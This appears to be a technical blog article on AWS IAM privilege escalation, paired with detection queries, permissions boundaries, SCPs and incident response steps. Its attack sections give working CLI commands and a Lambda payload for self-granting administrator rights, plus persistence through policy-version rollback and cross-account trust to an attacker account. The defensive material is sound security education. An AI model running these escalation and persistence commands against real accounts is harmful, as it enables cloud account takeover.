AWS IAM Privilege Escalation Through Policy Misconfiguration: A Deep Technical Analysis
8 min read

AWS Identity and Access Management (IAM) forms the cornerstone of cloud security, controlling who can access what resources within your AWS environment. However, when IAM policies are misconfigured, they can create devastating attack vectors that allow attackers to escalate from limited access to full administrative control. This comprehensive analysis explores the technical intricacies of AWS IAM privilege escalation, real-world exploitation techniques, and robust defensive strategies.
Example of an AWS IAM policy JSON structure granting full access to EC2 and related services used to illustrate permissions and potential privilege escalation risks
Understanding AWS IAM Privilege Escalation
Privilege escalation in AWS occurs when an attacker with limited permissions can leverage policy misconfigurations to gain higher-level access than originally intended. Unlike traditional operating system privilege escalation, AWS IAM escalation exploits the complex web of policies, roles, and trust relationships that govern cloud resource access.
The Anatomy of IAM Policy Misconfigurations
IAM privilege escalation typically stems from four primary categories of misconfigurations:
Overprivileged Direct Permissions: Users or roles granted excessive permissions that allow direct self-modification Indirect Escalation Paths: Permissions that enable modification of other identities with higher privileges
Trust Relationship Abuse: Misconfigured assume role policies that allow unintended identity assumption Service-Based Escalation: Leveraging AWS service integrations to execute code with elevated permissions
Diagram showing AWS IAM privilege escalation via a compromised Delegated Admin Account allowing access to all organizational units and member accounts
Critical Privilege Escalation Techniques
1. CreatePolicyVersion Attack Vector
The iam:CreatePolicyVersion
permission represents one of the most dangerous privilege escalation paths in AWS. This attack exploits a subtle but critical design decision in AWS IAM.
Technical Details: When creating a new policy version, attackers can use the --set-as-default
flag to automatically make their malicious policy version active without requiring the iam:SetDefaultPolicyVersion
permission.
Attack Sequence:
# 1. Identify target managed policy attached to current user
aws iam list-attached-user-policies --user-name compromised-user
# 2. Create malicious policy document
cat > admin-policy.json << EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
EOF
# 3. Execute privilege escalation
aws iam create-policy-version \
--policy-arn arn:aws:iam::ACCOUNT-ID:policy/VulnerablePolicy \
--policy-document file://admin-policy.json \
--set-as-default
Impact Analysis: This technique can escalate from minimal permissions to full administrator access in a single API call. The attack is particularly dangerous because it modifies existing policies rather than creating new ones, potentially evading detection systems that only monitor new policy creation.
Note: This escalation path requires that the attacker already has access to a managed policy that is attached to their own identity (user, group, or role). Without such an attachment, creating a new version will not automatically escalate their privileges.
2. Direct Policy Attachment Attacks
The iam:AttachUserPolicy
permission allows attackers to attach any AWS managed or customer managed policy to users they can access, including themselves.
Exploitation Method:
# Escalate to administrator access
aws iam attach-user-policy \
--user-name compromised-user \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
# Alternative: Attach specific service policies
aws iam attach-user-policy \
--user-name compromised-user \
--policy-arn arn:aws:iam::aws:policy/IAMFullAccess
Strategic Considerations: Attackers often prefer attaching granular policies rather than AdministratorAccess
to avoid triggering security alerts. Common targets include IAMFullAccess
, PowerUserAccess
, or custom policies with specific dangerous permissions.
3. Inline Policy Injection
The iam:PutUserPolicy
permission enables creation of inline policies with arbitrary permissions, providing another direct escalation path.
Technical Implementation:
# Create inline policy with full permissions
aws iam put-user-policy \
--user-name compromised-user \
--policy-name EscalatedAccess \
--policy-document '{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}'
Stealth Considerations: Inline policies are embedded directly within users, roles, or groups, making them harder to discover during security audits compared to managed policies that appear in centralized policy lists.
4. AssumeRole Policy manipulation
The iam:UpdateAssumeRolePolicy
permission allows attackers to modify role trust policies, enabling them to assume roles with elevated permissions.
Attack Process:
# 1. Identify high-privilege role
aws iam list-roles --query 'Roles[?contains(RoleName, `Admin`) || contains(RoleName, `Power`)].RoleName'
# 2. Update trust policy to allow assumption
aws iam update-assume-role-policy \
--role-name HighPrivilegedRole \
--policy-document '{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::ACCOUNT-ID:user/compromised-user"
},
"Action": "sts:AssumeRole"
}
]
}'
# 3. Assume the role
aws sts assume-role \
--role-arn arn:aws:iam::ACCOUNT-ID:role/HighPrivilegedRole \
--role-session-name EscalationSession
Organizations using Service Control Policies (SCPs) or explicit Deny conditions in trust policies can mitigate this attack by preventing modifications to sensitive role assumptions (e.g., admin or security roles).
5. Service-Based Escalation Techniques
Several AWS services can be leveraged for privilege escalation when combined with iam:PassRole
permissions.
Lambda Function Escalation:
import boto3
def lambda_handler(event, context):
# Code executed with elevated role permissions
iam = boto3.client('iam')
# Attach admin policy to original user
iam.attach_user_policy(
UserName='compromised-user',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return {'statusCode': 200, 'body': 'Privilege escalated'}
EC2 Instance Profile Abuse:
# Launch EC2 with privileged instance profile
aws ec2 run-instances \
--image-id ami-12345678 \
--instance-type t2.micro \
--iam-instance-profile Name=AdminInstanceProfile \
--user-data file://escalation-script.sh \
--key-name attacker-key
Beyond Lambda and EC2, other AWS services such as CloudFormation, Glue, SageMaker, and Step Functions can also be abused when combined with
iam:PassRole
permissions, depending on which services are enabled in the environment.
Detection and Monitoring Strategies
CloudTrail Event Analysis
Effective detection requires monitoring specific CloudTrail events that indicate potential privilege escalation:
High-Priority Events:
CreatePolicyVersion
withsetAsDefault: true
AttachUserPolicy
,AttachRolePolicy
,AttachGroupPolicy
PutUserPolicy
,PutRolePolicy
,PutGroupPolicy
UpdateAssumeRolePolicy
AddUserToGroup
CreateAccessKey
for users other than self
Advanced Detection Queries:
{
"eventName": "CreatePolicyVersion",
"requestParameters": {
"setAsDefault": true
},
"errorCode": {
"exists": false
}
}
In practice, effective detection often requires correlating these events with user identity details (e.g., whether the actor is modifying their own permissions) and applying time-based filters to reduce false positives. A single raw event match may generate excessive noise.
GuardDuty Integration
AWS GuardDuty provides native detection for several privilege escalation patterns:
PrivilegeEscalation:IAMUser/AnomalouseBehavior: Detects unusual IAM API usage patterns
PrivilegeEscalation:IAMUser/AdministrativePermissions: Flags attempts to assign highly permissive policies
While GuardDuty can detect several privilege escalation attempts, it does not cover every technique (for example, certain
UpdateAssumeRolePolicy
manipulations or service-based escalations). It should be used as part of a layered detection strategy, not as a sole control.
Custom Detection Logic
Implement custom detection rules for advanced scenarios:
def detect_privilege_escalation(cloudtrail_event):
dangerous_actions = [
'CreatePolicyVersion',
'AttachUserPolicy',
'PutUserPolicy',
'UpdateAssumeRolePolicy'
]
if cloudtrail_event['eventName'] in dangerous_actions:
# Check if user is escalating their own permissions
user_arn = cloudtrail_event['userIdentity']['arn']
target_user = cloudtrail_event['requestParameters'].get('userName')
if user_arn.endswith(f"user/{target_user}"):
return True, "Self-privilege escalation detected"
return False, None
Defensive Strategies and Mitigation
Permissions Boundaries
Implement IAM permissions boundaries to set maximum permissions regardless of identity-based policies:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:GetObject",
"s3:PutObject",
"ec2:DescribeInstances",
"lambda:InvokeFunction"
],
"Resource": "*"
},
{
"Effect": "Deny",
"Action": [
"iam:CreatePolicyVersion",
"iam:AttachUserPolicy",
"iam:PutUserPolicy",
"iam:UpdateAssumeRolePolicy"
],
"Resource": "*"
}
]
}
Service Control Policies (SCPs)
Use SCPs in AWS Organizations to enforce guardrails:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "PreventPrivilegeEscalation",
"Effect": "Deny",
"Action": [
"iam:CreatePolicyVersion",
"iam:SetDefaultPolicyVersion",
"iam:AttachUserPolicy",
"iam:AttachRolePolicy",
"iam:PutUserPolicy",
"iam:PutRolePolicy"
],
"Resource": "*",
"Condition": {
"StringNotEquals": {
"aws:PrincipalTag/Role": "SecurityTeam"
}
}
}
]
}
Least Privilege Policy Design
Implement context-aware policies using IAM policy variables:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"iam:ChangePassword",
"iam:CreateAccessKey",
"iam:UpdateAccessKey"
],
"Resource": "arn:aws:iam::*:user/${aws:username}"
}
]
}
Automated Remediation
Implement automated responses to detected privilege escalation attempts:
import boto3
def remediate_privilege_escalation(event):
iam = boto3.client('iam')
# Extract user from CloudTrail event
user_arn = event['userIdentity']['arn']
username = user_arn.split('/')[-1]
# Quarantine user by attaching deny-all policy
quarantine_policy = {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Action": "*",
"Resource": "*"
}
]
}
iam.put_user_policy(
UserName=username,
PolicyName='SecurityQuarantine',
PolicyDocument=json.dumps(quarantine_policy)
)
# Disable access keys
response = iam.list_access_keys(UserName=username)
for key in response['AccessKeyMetadata']:
iam.update_access_key(
UserName=username,
AccessKeyId=key['AccessKeyId'],
Status='Inactive'
)
Advanced Evasion Techniques
Policy Version Rollback
Sophisticated attackers may create multiple policy versions to establish persistence:
# Create benign version first
aws iam create-policy-version \
--policy-arn arn:aws:iam::ACCOUNT-ID:policy/TargetPolicy \
--policy-document file://benign-policy.json
# Create malicious version
aws iam create-policy-version \
--policy-arn arn:aws:iam::ACCOUNT-ID:policy/TargetPolicy \
--policy-document file://malicious-policy.json \
--set-as-default
# Later, rollback to appear innocent
aws iam set-default-policy-version \
--policy-arn arn:aws:iam::ACCOUNT-ID:policy/TargetPolicy \
--version-id v1
Cross-Account Privilege Escalation
Leverage cross-account roles for lateral movement:
# Modify role trust policy to allow cross-account access
aws iam update-assume-role-policy \
--role-name TargetRole \
--policy-document '{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::ATTACKER-ACCOUNT:root"
},
"Action": "sts:AssumeRole"
}
]
}'
Incident Response Procedures
Immediate Response Actions
Isolate the Compromised Identity: Attach deny-all inline policies
Revoke Active Sessions: Use IAM policy conditions to invalidate existing sessions
Audit Policy Changes: Review all policy modifications in the incident timeframe
Check for Persistence: Scan for new users, roles, and policies created by the attacker
Forensic Analysis
Examine CloudTrail logs for the complete attack timeline:
# Query for privilege escalation events
aws logs filter-log-events \
--log-group-name CloudTrail/IAM \
--start-time 1635724800000 \
--filter-pattern '{ $.eventName = CreatePolicyVersion || $.eventName = AttachUserPolicy }'
Conclusion
AWS IAM privilege escalation through policy misconfiguration represents a critical security risk that requires comprehensive understanding and proactive defense. Organizations must implement layered security controls including permissions boundaries, service control policies, real-time monitoring, and automated response capabilities.
The sophistication of these attacks continues to evolve, making it essential for security teams to stay current with emerging techniques and maintain robust detection capabilities. Regular auditing of IAM policies, implementation of least privilege principles, and continuous monitoring of privilege-related API calls form the foundation of effective defense against these attack vectors.
By understanding the technical details of these exploitation techniques and implementing appropriate countermeasures, organizations can significantly reduce their risk of successful privilege escalation attacks while maintaining the flexibility and functionality that makes AWS powerful for legitimate use cases.